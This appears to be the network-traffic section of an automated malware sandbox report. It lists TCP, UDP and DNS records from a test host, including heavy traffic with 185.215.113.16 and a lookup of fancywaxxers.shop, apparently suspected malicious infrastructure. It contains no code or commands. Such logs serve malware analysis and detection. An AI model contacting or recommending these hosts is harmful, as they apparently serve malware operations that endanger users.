Dec 31, 2024 15:42:10.772047043 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772054911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772087097 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772121906 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772262096 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772274017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772284031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772305012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772316933 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772330046 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772337914 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772341967 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772361994 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772383928 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772391081 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772402048 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772413015 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772425890 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772438049 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772449017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772456884 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772456884 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772489071 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772548914 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772561073 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772572041 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772583008 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772593975 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772605896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772618055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772620916 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772620916 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772629023 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772648096 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772661924 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772661924 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772692919 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773235083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773247004 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773258924 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773293972 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773305893 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773325920 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773338079 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773349047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773360968 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773374081 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773384094 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773396969 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773456097 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773468018 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773478985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773492098 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773503065 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773518085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773525000 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773538113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773542881 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773555040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773566961 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773577929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773580074 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773591042 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773602009 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773612976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.773628950 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773647070 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.773669958 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774185896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774197102 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774219990 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774231911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774243116 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774255037 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774255991 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774267912 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774276018 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774276972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774319887 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774560928 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774579048 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774591923 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774605989 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774617910 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774624109 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774631023 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774642944 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774645090 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774693012 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774754047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774770975 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774782896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774794102 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774805069 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774816990 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774818897 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774823904 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774842024 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774847031 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774853945 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774866104 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774878025 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774882078 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774889946 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774900913 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774914026 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774914026 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774926901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774940968 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.774950981 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774950981 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.774980068 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775530100 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775542021 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775552988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775567055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775585890 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775589943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775599003 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775612116 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775621891 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775623083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775634050 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775655985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775660038 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775669098 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775680065 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775687933 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775687933 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775693893 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775705099 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775717020 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775719881 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775732040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775762081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775762081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775768995 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775779963 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775791883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775804043 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775815964 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775829077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.775840998 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775840998 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.775871038 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776468992 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776480913 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776494026 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776506901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776518106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776529074 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776541948 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776542902 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776542902 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776560068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776606083 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776606083 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776732922 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776765108 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776777029 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776819944 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776833057 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776854992 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776868105 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776879072 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776890993 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776904106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776911020 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776911020 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776932955 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.776948929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776959896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776972055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776984930 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.776995897 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777020931 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777033091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777039051 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.777039051 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.777044058 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777055979 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777067900 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777080059 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777091980 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777092934 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.777105093 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777105093 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.777141094 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.777141094 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.777663946 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777713060 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777724981 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777739048 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.777796984 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.777796984 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.787115097 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.798784971 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:21.966284037 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:27.808109045 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:27.808150053 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:27.808481932 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:27.808712959 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:27.808727980 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:28.460288048 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:28.460570097 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:28.460602999 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:28.461652994 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:28.461718082 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:28.462709904 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:28.462831974 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:28.514184952 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:28.514218092 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:28.557003021 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:38.376903057 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:38.377005100 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:42:38.377052069 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:38.538423061 CET	49736	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:42:38.538441896 CET	443	49736	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:27.892796993 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:27.892841101 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:27.892951965 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:27.893318892 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:27.893328905 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:28.530184984 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:28.534097910 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:28.534106970 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:28.534492016 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:28.535408020 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:28.535473108 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:28.580456972 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:28.635119915 CET	60956	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:43:28.639919043 CET	53	60956	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:28.640000105 CET	60956	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:43:28.640033960 CET	60956	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:43:28.644820929 CET	53	60956	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:29.086143017 CET	53	60956	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:29.087017059 CET	60956	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:43:29.094764948 CET	53	60956	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:29.096981049 CET	60956	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:43:38.439294100 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:38.439378023 CET	443	50034	142.250.186.100	192.168.2.8
Dec 31, 2024 15:43:38.439534903 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:38.738642931 CET	50034	443	192.168.2.8	142.250.186.100
Dec 31, 2024 15:43:38.738681078 CET	443	50034	142.250.186.100	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 15:41:52.933029890 CET	65080	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:41:52.946723938 CET	53	65080	1.1.1.1	192.168.2.8
Dec 31, 2024 15:42:17.736772060 CET	138	138	192.168.2.8	192.168.2.255
Dec 31, 2024 15:42:23.400376081 CET	53	60995	1.1.1.1	192.168.2.8
Dec 31, 2024 15:42:23.442121983 CET	53	58086	1.1.1.1	192.168.2.8
Dec 31, 2024 15:42:24.522197962 CET	53	53597	1.1.1.1	192.168.2.8
Dec 31, 2024 15:42:26.333177090 CET	53207	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:26.333633900 CET	55415	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:27.800350904 CET	64280	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:27.800486088 CET	59310	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:27.806855917 CET	53	64280	1.1.1.1	192.168.2.8
Dec 31, 2024 15:42:27.807269096 CET	53	59310	1.1.1.1	192.168.2.8
Dec 31, 2024 15:42:28.435867071 CET	60834	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:28.436259031 CET	57379	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:29.579433918 CET	56481	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:29.579586029 CET	55034	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:42:32.602138996 CET	53	50779	1.1.1.1	192.168.2.8
Dec 31, 2024 15:42:41.464525938 CET	53	56688	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:00.445163012 CET	53	59588	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:23.216609001 CET	53	55440	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:23.556732893 CET	53	55371	1.1.1.1	192.168.2.8
Dec 31, 2024 15:43:26.348048925 CET	60673	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:43:26.348211050 CET	50436	53	192.168.2.8	1.1.1.1
Dec 31, 2024 15:43:28.634560108 CET	53	58146	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 15:41:52.933029890 CET	192.168.2.8	1.1.1.1	0x2cb2	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:26.333177090 CET	192.168.2.8	1.1.1.1	0x4675	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:26.333633900 CET	192.168.2.8	1.1.1.1	0x428	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 31, 2024 15:42:27.800350904 CET	192.168.2.8	1.1.1.1	0x6cbc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:27.800486088 CET	192.168.2.8	1.1.1.1	0x3983	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 31, 2024 15:42:28.435867071 CET	192.168.2.8	1.1.1.1	0xf46b	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:28.436259031 CET	192.168.2.8	1.1.1.1	0xe795	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 31, 2024 15:42:29.579433918 CET	192.168.2.8	1.1.1.1	0xbd80	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:29.579586029 CET	192.168.2.8	1.1.1.1	0xf11b	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 31, 2024 15:43:26.348048925 CET	192.168.2.8	1.1.1.1	0x40ae	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:43:26.348211050 CET	192.168.2.8	1.1.1.1	0xdd33	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 15:41:52.946723938 CET	1.1.1.1	192.168.2.8	0x2cb2	No error (0)	fancywaxxers.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:41:52.946723938 CET	1.1.1.1	192.168.2.8	0x2cb2	No error (0)	fancywaxxers.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:41:52.946723938 CET	1.1.1.1	192.168.2.8	0x2cb2	No error (0)	fancywaxxers.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:41:52.946723938 CET	1.1.1.1	192.168.2.8	0x2cb2	No error (0)	fancywaxxers.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:41:52.946723938 CET	1.1.1.1	192.168.2.8	0x2cb2	No error (0)	fancywaxxers.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:41:52.946723938 CET	1.1.1.1	192.168.2.8	0x2cb2	No error (0)	fancywaxxers.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:41:52.946723938 CET	1.1.1.1	192.168.2.8	0x2cb2	No error (0)	fancywaxxers.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:26.340609074 CET	1.1.1.1	192.168.2.8	0x428	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:26.344870090 CET	1.1.1.1	192.168.2.8	0x4675	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:27.806855917 CET	1.1.1.1	192.168.2.8	0x6cbc	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:27.807269096 CET	1.1.1.1	192.168.2.8	0x3983	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 31, 2024 15:42:28.442111969 CET	1.1.1.1	192.168.2.8	0x8e9e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:28.442111969 CET	1.1.1.1	192.168.2.8	0x8e9e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:28.442111969 CET	1.1.1.1	192.168.2.8	0x8e9e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:28.442267895 CET	1.1.1.1	192.168.2.8	0xae40	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:28.442948103 CET	1.1.1.1	192.168.2.8	0xf46b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:28.442948103 CET	1.1.1.1	192.168.2.8	0xf46b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:28.442948103 CET	1.1.1.1	192.168.2.8	0xf46b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:28.442948103 CET	1.1.1.1	192.168.2.8	0xf46b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:28.443696022 CET	1.1.1.1	192.168.2.8	0xe795	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:28.443696022 CET	1.1.1.1	192.168.2.8	0xe795	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
